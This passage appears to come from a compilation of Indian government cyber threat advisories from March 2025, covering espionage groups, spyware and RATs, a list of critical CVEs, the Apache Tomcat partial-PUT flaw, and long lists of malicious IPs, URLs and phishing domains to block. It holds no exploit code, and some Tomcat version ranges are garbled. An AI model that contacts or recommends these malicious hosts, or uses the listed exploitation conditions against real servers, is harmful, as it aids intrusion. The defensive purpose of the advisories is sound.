* Implement Multi-Factor Authentication (MFA).
* Network administrator should implement email authentication protocols like SPF, DKIM, and DMARC to help detect and prevent email spoofing.
* Inculcate the practice of verifying domain names and URLs before clicking on links, especially in emails.
* Regular training sessions to raise awareness about the tactics used by attackers, such as typo-squatting and spear-phishing.

**Reference**: CERT-IN [CMTX-I-089032025] & [CMTX-I-960032025]

***Note:****TA-PHI: Threat Alert Phishing Advisory*

**21.** **TA-TAG-2025-03-18-001**

It has been observed that a cyber espionage group, UNC3886, is targeting Juniper Networks' routers running the Junos OS. This group deployed a custom backdoor, TINYSHELL, which included various modifications tailored to their operations. The affected routers are running outdated hardware and software, which heightened their vulnerability.

This group has been involved in deploying custom malware to compromise networking infrastructure.

UNC38866 employs various methods to distribute malware:

* Malware Deployment: There are six distinct modified TINYSHELL backdoors (appid,to,irad,lmpad,jdosd and oemd)  on Juniper MX routers, each with unique capabilities and functionalities .
* Targeting Techniques: UNC3886 focuses on compromising network authentication services, particularly targeting TACACS+ (Terminal Access Controller Access-Control System) and use their access to perform operations within the Junos OS environment.
* Stealth Operations: The group employs passive backdoors and tampering with logs to reduce detection risks, indicating a strategy aimed at long-term access to network.
* Technical Sophistication: It uses zero-day exploits to gain unauthorized access.

IMPACTS: The impacts of UNC 3886's activities include:

* Compromise of sensitive networking infrastructure.
* Potential long-term access to victim networks, increasing the risk of data theft.
* Disruption of services for organizations relying on Juniper routers.
* Compromised integrity of network security, as unauthorized access can lead to further exploits.
* Challenges in incident detection and response due to the nature of the malware.

AFFECTED PRODUCTS: The primary products affected by UNC 3886's activities include:

* Juniper MX routers running the Junos OS.
* End-of-life hardware and software configurations of Juniper devices.
* Networking infrastructure within Internet Service Providers (ISPs)

**MITRE ATTACK IDENTIFIERS:**

Acquire Infrastructure (T1583)

Exploit Public-Facing Application (T1190)

Command and Scripting Interpreter (T1059)

Server Software Component (T1505)

Boot or Logon Initialization Scripts (T1037)

Process Injection (T1055)

Hijack Execution Flow (T1574)

OS Credential Dumping (T1003)

Permission Groups Discovery (T1069)

Data Manipulation (T1565)

Encrypted Channel (T1573)

Input Capture (T1056)

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs**:

8.222.225.8

45.77.39.28

101.100.182.122

116.88.34.184

118.189.188.122

129.126.109.50

158.140.135.244

223.25.78.136

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Update Juniper devices to the latest versions with security fixes. Run JMRT Quick Scan and Integrity Check after the update.
* Use a central Identity and Access Management (IAM) system with multi-factor authentication (MFA) and role-based access control (RBAC) to manage network devices.
* Use a system to manage network configurations, check them against set standards, and automatically fix issues or alert for manual fixes.
* Focus on high-risk admin activities and set up monitoring tools. Regularly check if these tools are working effectively.
* Prioritize patching and fixing vulnerabilities in network devices, including those running lesser-known operating systems.
* Set up a program for monitoring, automatic updates, and planning for end-of-life replacements of network devices.
* Improve security by enforcing strict access controls, network segmentation, and other security measures for devices and systems managing the network.
* Use threat intelligence to continuously evaluate and strengthen security measures against new threats.

**Reference**: CERT-IN [CMTX-P-032025085]

Note: TA-TAG: Threat Alert Threat Actor Group

**22.** **TA-APT-2025-03-18-006**

Reference is made to earlier advisories on APT15.

The APT15, aka Mirage, a state-sponsored cyber espionage group, primarily targets government organisations. It employs a range of tools and backdoors to obscure their activities.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

95.179.219.114

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendation:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.

***Note***: TA-APT:  Threat Alert - Advanced Persistent Threat

**23.** **TA-MAW-2025-03-18-007**

It has been observed that threat actors are leveraging KOSPY spyware and ROKRAT malware to conduct sophisticated cyber espionage campaigns, targeting both mobile and desktop platforms. These malwares are used to exfiltrate sensitive data, maintain persistent access, and evade detection within compromised networks.

KOSPY:

It is an Android spyware tool, used for espionage. It is often disguised as legitimate apps like file managers or security utilities to avoid detection. Once installed, KOSPY can stealthily collect a wide array of sensitive information, including SMS messages, call logs, location data, screenshots, audio recordings, and keystrokes.

Capabilities:

* Data exfiltration from smartphones.
* Remote command and control (C2) via Firebase Firestore.
* Ability to update and modify functionalities remotely.

Distribution Method: KOSPY spread through deceptive applications available on the Google Play Store and third-party Android platforms such as APKPure.

ROKRAT RAT: ROKRAT is a Remote Access Trojan (RAT) primarily used for espionage and remote control of infected systems. ROKRAT has evolved over time and is capable of targeting Windows, macOS, and Android platforms.

Capabilities:

* Stealthy remote access and control of infected machines.
* Data exfiltration, including files, screenshots, and keylogging.
* Evasion techniques to avoid detection by security tools, including traffic obfuscation and the use of legitimate cloud services for C2 communication.

Distribution Method: ROKRAT spread through phishing emails containing malicious attachments such as compromised Hangul Word Processor (HWP) files or malicious LNK (shortcut) files. It also uses cloud services like Dropbox, Yandex, and Box to facilitate communication and updates.

**MITRE ATTACK IDENTIFIERS:**

Phishing (T1566)

Command and Scripting Interpreter (T1059)

Boot or Logon Autostart Execution (T1547)

Access Token Manipulation (T1134)

Application Layer Protocol (T1071)

Credentials from Password Stores (T1555)

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

27.255.79.225

172.86.115.125

141.164.60.25

**Domains:**

st0746.net

mailcorp.center

nidlogon.com

joinupvts.org

resolveissue.org

crowdon.info

genians.com

mailattachmentimageurlxyz.site

imagedownloadsupport.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Deploy EDR solutions to detect and block malicious activities and monitor unusual outbound traffic indicating C2 or data exfiltration.
* Implement email security filters, conduct employee training to recognize phishing, and restrict access to sensitive files via encryption.
* Segment networks to limit lateral movement, use firewalls and IDS/IPS to monitor for RAT activity, and block known C2 domains.
* Regularly update all systems and applications to close vulnerabilities that malware could exploit.
* Enforce security policies on mobile devices, use MTD solutions to detect malicious apps, and prevent the installation of apps from untrusted sources.
* Encrypt sensitive data both in transit and at rest, and implement strong access controls to protect critical data.
* Develop and test a robust incident response plan for handling compromises involving sophisticated malware like KOSPY and ROKRAT.
* Regularly update software to ensure that vulnerabilities, especially in programs like Microsoft Office (which ROKRAT exploits) are patched.
* Use mobile device management (MDM) solutions to monitor devices for suspicious activities or unauthorized applications.

**Reference:**CERT-IN [CMTX-P-032025105]

***Note:****TA-MAW: Threat Alert Malware Advisory*

**24.** **VA-2025-03-20-007**

Microsoft released updates to address multiple vulnerabilities in its products for the month of Mar 2025. However, Microsoft provides patch information in the form of Knowledge Base (KB) Articles that are associated with one or more CVEs.

Please find below link for the monthly CVE - KB Correlation list of Mar 2025 for your perusal and necessary action.

https://nciipc.gov.in/advisories/CVE/CVE-KB/2025/Mar.html

**25.** **VA-2025-03-20-009**

**Vulnerability in WordPress File Away plugin**

An arbitrary file uploads vulnerability has been discovered in the File Away plugin for WordPress. The affected versions are File Away plugin, all versions up to and including, 3.9.9.0.1.

CVE ID: CVE-2025-2512 (Critical)

**Security Updates for WordPress Service Finder Bookings plugin**

WordPress has released security updates to resolve a privilege escalation vulnerability in the Service Finder Bookings plugin. The affected versions are the Service Finder Bookings plugin, all versions up to and including, 5.0.

CVE ID: CVE-2024-13442 (Critical)

**Security Updates for WordPress MinimogWP – The High Converting eCommerce WordPress Theme theme**

WordPress has released security updates to resolve a local file inclusion vulnerability in the MinimogWP – The High Converting eCommerce WordPress Theme theme. The affected versions are MinimogWP – The High Converting eCommerce WordPress Theme theme, all versions up to and including, 3.7.0.

CVE ID: CVE-2024-13790 (Critical)

**Security Updates for WordPress CozyStay and TinySalt plugins**

WordPress has released security updates to resolve a PHP object injection vulnerability in the CozyStay and TinySalt plugins. The affected versions are CozyStay, all versions up to and including 1.7.0 and TinySalt plugins, all versions up to and including 3.9.0.

CVE ID: CVE-2024-13410 (Critical)

**Security Updates for WordPress Altair theme**

WordPress has released security updates to resolve a privilege escalation vulnerability in the Altair theme. The affected versions are Altair theme, all versions up to and including, 5.2.4.

CVE ID: CVE-2024-12922 (Critical)

**Vulnerability in IBM AIX**

It has been discovered that IBM AIX is vulnerable to arbitrary command execution. The affected products are IBM AIX 7.2 and 7.3. Security updates are available.

CVE ID: CVE-2024-56346 (Critical), CVE-2024-56347 (Critical)

**Vulnerability in Vestel EVC04 Configuration Interface**

A SQL injection vulnerability has been discovered in the Vestel EVC04 Configuration Interface. The affected products are EVC04 Configuration Interface through 18.03.2025.

CVE ID:CVE-2024-8997 (Critical)

**Multiple Vulnerabilities in mbCONNECT24/mymbCONNECT24**

Multiple vulnerabilities have been discovered in mbCONNECT24/mymbCONNECT24 that lead to a complete loss of confidentiality, integrity and availability. The affected products are the mbCONNECT24 version prior to 2.16.2,mbNET version prior to 8.2.0, mbNET.rokey version prior to 8.2.0 and mymbCONNECT24 version prior to 2.16.2.

CVE ID: CVE-2024-23943(Critical), CVE-2024-23942

**Vulnerability in e-Excellence's U-Office Force**

An improper authentication vulnerability has been discovered in e-Excellence's U-Office Force that allows to use a particular API and alter cookies to log in as an administrator.

CVE ID: CVE-2025-2395 (Critical)

**Vulnerability in Tenda**

A stack overflow vulnerability has been discovered in Tenda. The affected version is Tenda AC9 v1.0 V15.03.05.14\_multi.

CVE ID: CVE-2025-29386 (Critical)

**Vulnerability in Tenda**

A buffer overflow vulnerability has been discovered in Tenda. The affected version is Tenda AC6 v15.03.05.16.

CVE ID: CVE-2025-29031 (Critical)

**Vulnerability in Adobe Commerce**

An incorrect authorization vulnerability has been discovered in Adobe Commerce. The affected versions are Adobe Commerce versions 2.4.8-beta1, 2.4.7-p3, 2.4.6-p8, 2.4.5-p10, 2.4.4-p11 and earlier.

CVE ID: CVE-2025-24409 (Critical)

**GitLab Security Updates**

GitLab has released updated versions 17.9.2, 17.8.5, and 17.7.7 for GitLab Community Edition (CE) and Enterprise Edition (EE) to resolve multiple vulnerabilities.

CVE ID: CVE-2025-25291 (Critical), CVE-2025-25292 (Critical), CVE-2025-27407 (High), CVE-2024-13054 (Medium), CVE-2024-12380 (Medium), CVE-2025-1257 (Medium), CVE-2025-0652 (Medium), CVE-2024-8402 (Low), CVE-2024-7296 (Low)

**VMware Security Updates**

VMware has released security updates to address multiple vulnerabilities in VMware ESXi, Workstation, Cloud Foundation, Telco Cloud Platform, Telco Cloud Infrastructure and Fusion. The affected versions are VMware ESXi 8.0 & 7.0, VMware Workstation 17.x, VMware Fusion 13.x, VMware Cloud Foundation 5.x & 4.5x, VMware Telco Cloud Platform 5.x, 4.x, 3.x, 2.x and VMware Telco Cloud Infrastructure 3.x & 2.x.

CVE ID: CVE-2025-22224 (Critical), CVE-2025-22225 (High), CVE-2025-22226 (High)

**Vulnerability in WeGIA**

A SQL Injection vulnerability has been discovered in WeGIA. The affected versions are WeGIA prior to 3.2.0.

CVE ID: CVE-2024-57034 (Critical)

**Vulnerability in Javo Core plugin for WordPress**

A privilege escalation vulnerability has been discovered in the Javo Core plugin for WordPress. The affected versions are the Javo Core plugin, all versions up to and including, 3.0.0.080.

CVE ID: CVE-2025-0177 (Critical)

**Vulnerability in InWave Jobs plugin for WordPress**

A privilege escalation vulnerability has been discovered in the InWave Jobs plugin for WordPress. The affected versions are the InWave Jobs plugin, all versions up to and including, 3.5.1.

CVE ID: CVE-2025-1315 (Critical)

**Vulnerability in Workreap plugin for WordPress**

A privilege escalation vulnerability has been discovered in Workreap plugin for WordPress. The affected versions are WordPress Workreap plugin, all versions up to, and including, 3.2.5.

CVE ID: CVE-2024-13446 (Critical)

***Note:****VA: Vulnerability Advisory*

**26.** **VA-2025-03-20-009**

A security flaw (CVE-2025-24813) has been discovered in Apache Tomcat that leads to Remote Code Execution (RCE) and/or Information disclosure and/or malicious content added to uploaded files via write-enabled Default Servlet in Apache Tomcat. This vulnerability is actively exploited within just hours of its public disclosure. This vulnerability can be exploited through PUT requests, particularly when specific configurations are met.  The vulnerability is primarily due to the handling of partial PUT requests and the default settings of the servlet.

Conditions for Exploitation:

* Enabled Writes: The default servlet must have write permissions enabled (usually disabled by default).
* Partial PUT Support: This feature, enabled by default, allows partial file uploads.
* The application uses Tomcat's file-based session persistence (with the default storage location).
* The application includes a library vulnerable to deserialization attacks.
* Target URL Setup: Sensitive files must reside in a sub-directory within a public upload directory.
* Knowledge of File Names: Attackers need to know the names of sensitive files they want to exploit.
* Vulnerable Libraries: The application must include libraries exploitable via deserialization attacks.

AFFECTED VERSIONS:

The following versions of Apache Tomcat are affected:

Apache Tomcat 11.0.0-M1 to.0.2

Apache Tomcat .1.0-M to 10.1.34

Apache Tomcat 9.0.0-M1 to.0.98

FIXED VERSIONS:

To mitigate this vulnerability, users are advised to upgrade to the following fixed versions:

Update to Apache Tomcat 11.0.3 or later.

Update to Apache Tomcat 10.1.35 or later.

Update to Apache Tomcat 9.0.99 or later.

IMPACTS:

The impacts of this vulnerability include:

* Remote Code Execution: Attackers can execute arbitrary code on affected servers.
* Information Disclosure: Sensitive data may be exposed to unauthorized users.
* Compromise of Server Integrity: Successful exploitation may lead to complete server control.
* Potential for Data Breaches: Exploitation could result in data theft or loss.
* Disruption of Services: Affected services may become unavailable or unstable.
* Reputation Damage: Organizations may suffer reputational harm due to security breaches.
* Financial Loss: Recovery and remediation efforts can be costly.

**Recommendations:**

* Update to the fixed versions of Apache Tomcat as soon as possible.
* Ensure that server configurations are secure and follow best practices.
* Use WAFs to detect and block malicious traffic.
* Regularly audit and assess security measures in place.
* Actively monitor server logs for any signs of exploitation attempts.
* Provide training on security best practices and awareness of vulnerabilities.
* Ensure that data backups are performed regularly and stored securely.
* Enforce the principle of least privilege for server access.
* Establish a robust patch management process to keep all software up to date.
* Develop and maintain an incident response plan for potential breaches.

**Reference:**CERT-IN [CMTX-P032025115]

https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq

***Note:****VA: Vulnerability Advisory*

**27.** **VA-2025-03-20-009**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

115.97.17.249

45.164.178.86

112.94.97.142

107.173.255.57

103.247.52.168

174.138.41.150

27.43.206.49

103.200.86.196

45.76.215.17

77.239.214.98

125.113.208.141

223.149.53.161

167.99.28.249

103.182.130.166

220.198.241.79

51.38.137.107

122.97.138.138

72.18.214.175

177.74.2.216

74.201.28.102

167.172.6.243

120.57.13.101

195.178.110.54

120.85.113.223

176.123.169.22

202.168.85.242

80.191.44.80

120.85.117.182

120.85.115.11

45.164.177.40

103.38.68.79

207.231.109.20

77.222.46.190

157.230.193.102

103.200.86.229

139.59.223.9

118.239.5.50

103.200.86.85

137.184.248.83

159.89.211.52

103.98.38.14

27.43.204.43

103.98.38.146

175.107.1.29

103.159.45.163

42.112.26.36

104.248.99.110

156.238.253.148

103.15.254.45

**URLs:-**

http://103.175.180.9:40438/

http://182.121.15.84:52297/

http://103.48.66.129:56162/

http://222.140.184.212:34231/

http://182.241.136.109:55868/

http://39.90.161.68:51966/

http://45.164.178.132:11902/

http://117.209.89.185:41510/

http://61.3.19.167:42542/

http://222.141.43.169:39477/

http://103.199.180.120:48015/

http://42.239.152.98:58294/

http://223.8.39.92:54254/

http://27.215.177.192:39621/

http://59.88.145.69:59965/

http://223.8.188.35:49162/

http://45.230.66.23:10974/

http://103.98.38.102:37754/

http://45.164.177.244:10891/

http://102.33.97.182:58339/

http://222.139.14.117:45137/

http://61.1.17.236:42845/

http://117.219.133.114:33757/

http://59.88.141.27:52442/

http://45.164.177.9:10336/

http://45.230.66.50:10050/

http://117.209.83.6:33114/

http://103.93.93.178:35201/

http://117.82.189.57:43546/

http://1.70.9.57:41682/

http://45.164.177.124:11879/

http://42.224.150.102:54611/

http://117.241.207.61:47376/

http://222.137.208.66:39342/

http://45.164.177.173:11560/

http://182.124.31.175:45311/

http://60.23.128.114:56621/

http://110.180.140.31:44410/

http://175.107.0.162:49833/

http://117.209.94.21:39499/

http://110.182.224.237:39272/

http://103.175.180.102:57921/

http://115.61.10.187:44060/

http://117.196.166.188:39886/

http://45.230.66.52:11305/

http://45.230.66.52:10419/

http://59.184.57.253:47052/

http://45.178.249.120:10689/

http://61.3.134.113:50953/

http://117.63.83.114:50787/

http://115.52.252.239:55617/

http://61.52.104.101:33720/

http://103.93.93.179:43702/

http://45.230.66.35:11011/

http://103.181.64.202:36111/

http://103.210.101.26:58545/

http://103.203.72.21:50198/

http://125.47.84.191:53077/

http://112.116.122.2:60978/

http://45.230.66.17:11483/

http://59.91.72.164:48733/

http://125.113.208.157:50174/

http://59.92.91.110:40805/

http://103.167.175.253:52376/

http://123.4.215.1:59396/

http://117.253.237.237:35550/

http://112.54.138.154:57086/

http://103.203.72.162:39679/

http://60.22.103.99:52131/

http://117.211.210.41:41360/

http://103.207.125.168:39351/

http://119.180.244.44:52608/

http://58.212.37.48:48138/

http://117.219.138.39:54306/

http://117.216.152.155:47642/

http://105.100.27.203:44327/

http://59.88.9.28:47032/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendation:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.

***Note:***TA-MI: Threat Alert Malicious IOCs

**28.** **TA-TAG-2025-03-21-002**

The presence of an unknown threat actor has been observed in Indian CyberSpace.

Please find below IOC in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

172.245.190.157

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendation:**

* It is recommended that organisations should apply the given IoC on their security systems to identify attacks. Occurrence of any communication traces pertaining to this IoC may be reported to NCIIPC.

*Note:  TA-TAG: Threat Alert Threat Actor Group*

**29.** **TA-MAW-2025-03-21-009**

Reference is made to earlier advisories on Shadowpad Malware.

Shadowpad aka POISONPLUG malware is a highly obfuscated modular backdoor with plug-in capabilities. It can infiltrate target systems and provides attackers with capabilities to gather data and control the compromised systems remotely. The malware is capable of registry or service persistence, self-removal, plug-in execution, and network connection forwarding. The malware is associated with APT41.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

37.120.239.33

89.38.128.94

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* **I**t is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Firewall and other network solutions should be adjusted to prevent traffic from being allowed on non-conventional ports.
* Organisations should implement email protection solutions to filter out malicious emails.
* Implement Multi-Factor Authentication (MFA).
* Enforce use of strong passwords and limit user access through the principle of least privilege.
* Establish a Sender Policy Framework (SPF), Domain Message Authentication Reporting and Conformance (DMARC), and Domain Keys Identified Mail (DKIM) for your domain, which is an email validation system designed to prevent e-mail spoofing.
* Never click and execute email attachments from unknown sources.
* Users should take care when enabling macros for internal office files.
* Never run unknown files with exaggerated titles.
* Never open links shared on social media from unknown sources.

***Note:***TA-MAW: Threat Alert Malware Advisory

**30.** **TA-MAW-2025-03-21-010**

Reference is made to earlier advisory on SOGU aka PLUGX malware.

The presence of malicious IoCs of SOGU aka PLUGX malware has been observed in Indian Cyberspace. Plugx is a Remote Access Trojan (RAT) that gives adversaries control over compromised devices to copy and modify the victim’s files, record keystrokes, capture screenshots and videos, or reboot the system.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

107.173.63.250

103.171.34.199

208.85.18.176

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendation:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.

***Note:***TA-MAW: Threat Alert Malware Advisory

**31.** **TA-MI-2025-03-25-006**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

120.85.116.33

157.230.192.203

117.135.239.172

159.89.211.52

157.230.193.102

27.43.204.120

36.46.85.205

117.219.133.114

45.164.177.43

89.144.32.113

103.199.180.82

42.112.26.36

103.200.86.209

45.230.66.23

167.99.28.249

59.88.9.28

72.18.214.175

176.65.138.157

27.43.206.154

167.172.6.243

80.191.44.80

120.85.119.183

27.47.3.43

185.40.4.51

208.110.73.90

5.255.115.56

103.175.180.102

27.47.2.104

14.102.189.224

139.59.223.9

222.140.184.212

102.212.40.183

42.224.150.102

27.43.205.252

47.121.133.117

47.84.39.235

45.164.177.9

104.248.224.147

167.99.28.125

60.23.128.114

103.48.66.129

1.160.206.62

117.251.177.39

141.98.11.94

**URLs:-**

http://182.126.107.241:33909/

http://103.175.180.93:47683/

http://221.202.223.69:54699/

http://117.193.84.227:43663/

http://103.199.202.128:47232/

http://59.95.128.5:37441/

http://45.115.89.126:60075/

http://119.117.252.51:35773/

http://182.116.50.4:58768/

http://113.229.108.129:55906/

http://27.215.54.194:48152/

http://45.164.177.219:11002/

http://117.193.141.220:38770/

http://202.66.166.105:56785/

http://117.211.155.14:38811/

http://117.205.174.218:57221/

http://61.53.73.139:39530/

http://45.230.66.0:11344/

http://117.209.19.124:36593/

http://196.189.96.59:36740/

http://59.88.15.70:57903/

http://45.164.177.173:10325/

http://219.156.87.121:44268/

http://59.99.202.123:54810/

http://88.235.55.202:38953/

http://103.199.200.251:39385/

http://59.180.176.72:39300/

http://45.115.89.22:42809/

http://124.131.128.55:60937/

http://61.1.31.37:49125/

http://45.230.66.47:10513/

http://27.215.82.80:35205/

http://192.21.165.137:52634/

http://42.242.128.62:39788/

http://183.240.211.155:35595/

http://123.185.8.16:45521/

http://113.121.78.225:52251/

http://103.207.124.197:38896/

http://196.189.96.59:45368/

http://115.97.164.147:57843/

http://222.138.72.34:42525/

http://140.255.139.110:52251/

http://182.46.84.163:46707/

http://103.203.72.232:36924/

http://123.9.24.228:36383/

http://112.198.195.68:41769/

http://139.5.0.242:36759/

http://182.46.84.93:49355/

http://59.88.59.41:40609/

http://42.236.213.219:46341/

http://170.244.73.169:11101/

http://1.70.15.107:59606/

http://180.116.68.66:44631/

http://110.86.160.103:41135/

http://59.94.115.7:53529/

http://103.199.202.216:32810/

http://103.181.64.164:43072/

http://223.12.186.21:40729/

http://89.67.0.231:48279/

http://64.237.148.106:43389/

http://117.194.26.246:48270/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendation:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.

***Note:***TA-MI: Threat Alert Malicious IOCs

**32.** **TA-PHI-2025-03-25-016**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below phishing domains found in Indian Cyberspace.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

twilight-glade-76955.pktriot.net

.pktriot.net

www.email.gov.in.defenceindia.ltd

email.gov.in.defenceindia.ltd

\*.defenceindia.ltd

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install and regularly update antivirus software.
* Install Updates and Patches regularly.
* Conduct regular backup practices and keep those backups offline or on a separate network.
* Implement Multi-Factor Authentication (MFA).
* Network administrator should implement email authentication protocols like SPF, DKIM, and DMARC to help detect and prevent email spoofing.
